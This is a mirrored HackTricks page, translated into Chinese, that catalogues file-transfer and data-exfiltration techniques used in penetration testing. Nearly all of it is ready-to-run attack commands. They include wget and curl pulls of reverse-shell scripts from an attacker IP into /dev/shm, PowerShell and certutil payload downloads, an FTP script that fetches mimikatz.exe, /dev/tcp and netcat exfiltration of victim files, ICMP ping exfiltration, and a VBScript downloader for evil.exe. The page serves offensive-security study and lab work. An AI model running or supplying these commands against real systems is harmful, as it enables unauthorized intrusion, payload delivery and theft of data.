mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
339 lines
11 KiB
Markdown
339 lines
11 KiB
Markdown
# Exfiltration
|
||
|
||
{% hint style="success" %}
|
||
学习和实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习和实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## 常见的白名单域名以提取信息
|
||
|
||
查看 [https://lots-project.com/](https://lots-project.com/) 以查找可以被滥用的常见白名单域名
|
||
|
||
## 复制\&粘贴 Base64
|
||
|
||
**Linux**
|
||
```bash
|
||
base64 -w0 <file> #Encode file
|
||
base64 -d file #Decode file
|
||
```
|
||
**Windows**
|
||
```
|
||
certutil -encode payload.dll payload.b64
|
||
certutil -decode payload.b64 payload.dll
|
||
```
|
||
## HTTP
|
||
|
||
**Linux**
|
||
```bash
|
||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||
fetch 10.10.14.14:8000/shell.py #FreeBSD
|
||
```
|
||
**Windows**
|
||
```bash
|
||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
|
||
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
|
||
|
||
#PS
|
||
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
|
||
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
|
||
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
|
||
|
||
Import-Module BitsTransfer
|
||
Start-BitsTransfer -Source $url -Destination $output
|
||
#OR
|
||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||
```
|
||
### 上传文件
|
||
|
||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||
* [**SimpleHttpServer 打印 GET 和 POST（以及头部）**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||
* Python 模块 [uploadserver](https://pypi.org/project/uploadserver/):
|
||
```bash
|
||
# Listen to files
|
||
python3 -m pip install --user uploadserver
|
||
python3 -m uploadserver
|
||
# With basic auth:
|
||
# python3 -m uploadserver --basic-auth hello:world
|
||
|
||
# Send a file
|
||
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
||
# With basic auth:
|
||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||
```
|
||
### **HTTPS 服务器**
|
||
```python
|
||
# from https://gist.github.com/dergachev/7028596
|
||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||
# generate server.xml with the following command:
|
||
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||
# run as follows:
|
||
# python simple-https-server.py
|
||
# then in your browser, visit:
|
||
# https://localhost:443
|
||
|
||
### PYTHON 2
|
||
import BaseHTTPServer, SimpleHTTPServer
|
||
import ssl
|
||
|
||
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
|
||
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
|
||
httpd.serve_forever()
|
||
###
|
||
|
||
### PYTHON3
|
||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||
import ssl
|
||
|
||
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
|
||
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
|
||
httpd.serve_forever()
|
||
###
|
||
|
||
### USING FLASK
|
||
from flask import Flask, redirect, request
|
||
from urllib.parse import quote
|
||
app = Flask(__name__)
|
||
@app.route('/')
|
||
def root():
|
||
print(request.get_json())
|
||
return "OK"
|
||
if __name__ == "__main__":
|
||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||
###
|
||
```
|
||
## FTP
|
||
|
||
### FTP 服务器 (python)
|
||
```bash
|
||
pip3 install pyftpdlib
|
||
python3 -m pyftpdlib -p 21
|
||
```
|
||
### FTP 服务器 (NodeJS)
|
||
```
|
||
sudo npm install -g ftp-srv --save
|
||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||
```
|
||
### FTP 服务器 (pure-ftp)
|
||
```bash
|
||
apt-get update && apt-get install pure-ftp
|
||
```
|
||
|
||
```bash
|
||
#Run the following script to configure the FTP server
|
||
#!/bin/bash
|
||
groupadd ftpgroup
|
||
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
|
||
pure-pwd useradd fusr -u ftpuser -d /ftphome
|
||
pure-pw mkdb
|
||
cd /etc/pure-ftpd/auth/
|
||
ln -s ../conf/PureDB 60pdb
|
||
mkdir -p /ftphome
|
||
chown -R ftpuser:ftpgroup /ftphome/
|
||
/etc/init.d/pure-ftpd restart
|
||
```
|
||
### **Windows** 客户端
|
||
```bash
|
||
#Work well with python. With pure-ftp use fusr:ftp
|
||
echo open 10.11.0.41 21 > ftp.txt
|
||
echo USER anonymous >> ftp.txt
|
||
echo anonymous >> ftp.txt
|
||
echo bin >> ftp.txt
|
||
echo GET mimikatz.exe >> ftp.txt
|
||
echo bye >> ftp.txt
|
||
ftp -n -v -s:ftp.txt
|
||
```
|
||
## SMB
|
||
|
||
Kali 作为服务器
|
||
```bash
|
||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||
#For new Win10 versions
|
||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||
```
|
||
或创建一个 smb 共享 **使用 samba**：
|
||
```bash
|
||
apt-get install samba
|
||
mkdir /tmp/smb
|
||
chmod 777 /tmp/smb
|
||
#Add to the end of /etc/samba/smb.conf this:
|
||
[public]
|
||
comment = Samba on Ubuntu
|
||
path = /tmp/smb
|
||
read only = no
|
||
browsable = yes
|
||
guest ok = Yes
|
||
#Start samba
|
||
service smbd restart
|
||
```
|
||
Windows
|
||
```bash
|
||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||
|
||
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
|
||
WindPS-2> cd new_disk:
|
||
```
|
||
## SCP
|
||
|
||
攻击者必须运行 SSHd。
|
||
```bash
|
||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||
```
|
||
## SSHFS
|
||
|
||
如果受害者有SSH，攻击者可以将受害者的目录挂载到攻击者。
|
||
```bash
|
||
sudo apt-get install sshfs
|
||
sudo mkdir /mnt/sshfs
|
||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||
```
|
||
## NC
|
||
```bash
|
||
nc -lvnp 4444 > new_file
|
||
nc -vn <IP> 4444 < exfil_file
|
||
```
|
||
## /dev/tcp
|
||
|
||
### 从受害者下载文件
|
||
```bash
|
||
nc -lvnp 80 > file #Inside attacker
|
||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||
```
|
||
### 上传文件到受害者
|
||
```bash
|
||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||
# Inside victim
|
||
exec 6< /dev/tcp/10.10.10.10/4444
|
||
cat <&6 > file.txt
|
||
```
|
||
感谢 **@BinaryShadow\_**
|
||
|
||
## **ICMP**
|
||
```bash
|
||
# To exfiltrate the content of a file via pings you can do:
|
||
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
|
||
#This will 4bytes per ping packet (you could probably increase this until 16)
|
||
```
|
||
|
||
```python
|
||
from scapy.all import *
|
||
#This is ippsec receiver created in the HTB machine Mischief
|
||
def process_packet(pkt):
|
||
if pkt.haslayer(ICMP):
|
||
if pkt[ICMP].type == 0:
|
||
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
|
||
print(f"{data.decode('utf-8')}", flush=True, end="")
|
||
|
||
sniff(iface="tun0", prn=process_packet)
|
||
```
|
||
## **SMTP**
|
||
|
||
如果您可以将数据发送到SMTP服务器，则可以使用python创建一个SMTP来接收数据：
|
||
```bash
|
||
sudo python -m smtpd -n -c DebuggingServer :25
|
||
```
|
||
## TFTP
|
||
|
||
在XP和2003中默认启用（在其他版本中需要在安装时显式添加）
|
||
|
||
在Kali中，**启动TFTP服务器**：
|
||
```bash
|
||
#I didn't get this options working and I prefer the python option
|
||
mkdir /tftp
|
||
atftpd --daemon --port 69 /tftp
|
||
cp /path/tp/nc.exe /tftp
|
||
```
|
||
**在Python中的TFTP服务器：**
|
||
```bash
|
||
pip install ptftpd
|
||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||
```
|
||
在**victim**中，连接到Kali服务器：
|
||
```bash
|
||
tftp -i <KALI-IP> get nc.exe
|
||
```
|
||
## PHP
|
||
|
||
使用 PHP 单行代码下载文件：
|
||
```bash
|
||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||
```
|
||
## VBScript
|
||
```bash
|
||
Attacker> python -m SimpleHTTPServer 80
|
||
```
|
||
**受害者**
|
||
```bash
|
||
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
||
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
|
||
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
|
||
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
|
||
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
|
||
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
|
||
echo Err.Clear >> wget.vbs
|
||
echo Set http = Nothing >> wget.vbs
|
||
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
|
||
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
|
||
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
|
||
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
|
||
echo http.Open "GET", strURL, False >> wget.vbs
|
||
echo http.Send >> wget.vbs
|
||
echo varByteArray = http.ResponseBody >> wget.vbs
|
||
echo Set http = Nothing >> wget.vbs
|
||
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
|
||
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
|
||
echo strData = "" >> wget.vbs
|
||
echo strBuffer = "" >> wget.vbs
|
||
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
|
||
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
|
||
echo Next >> wget.vbs
|
||
echo ts.Close >> wget.vbs
|
||
```
|
||
|
||
```bash
|
||
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||
```
|
||
## Debug.exe
|
||
|
||
`debug.exe`程序不仅允许检查二进制文件，还具有**从十六进制重建它们的能力**。这意味着通过提供二进制文件的十六进制，`debug.exe`可以生成二进制文件。然而，重要的是要注意，debug.exe有**组装文件大小限制为64 kb**。
|
||
```bash
|
||
# Reduce the size
|
||
upx -9 nc.exe
|
||
wine exe2bat.exe nc.exe nc.txt
|
||
```
|
||
然后将文本复制粘贴到 windows-shell 中，将创建一个名为 nc.exe 的文件。
|
||
|
||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||
|
||
## DNS
|
||
|
||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||
|
||
{% hint style="success" %}
|
||
学习和实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习和实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|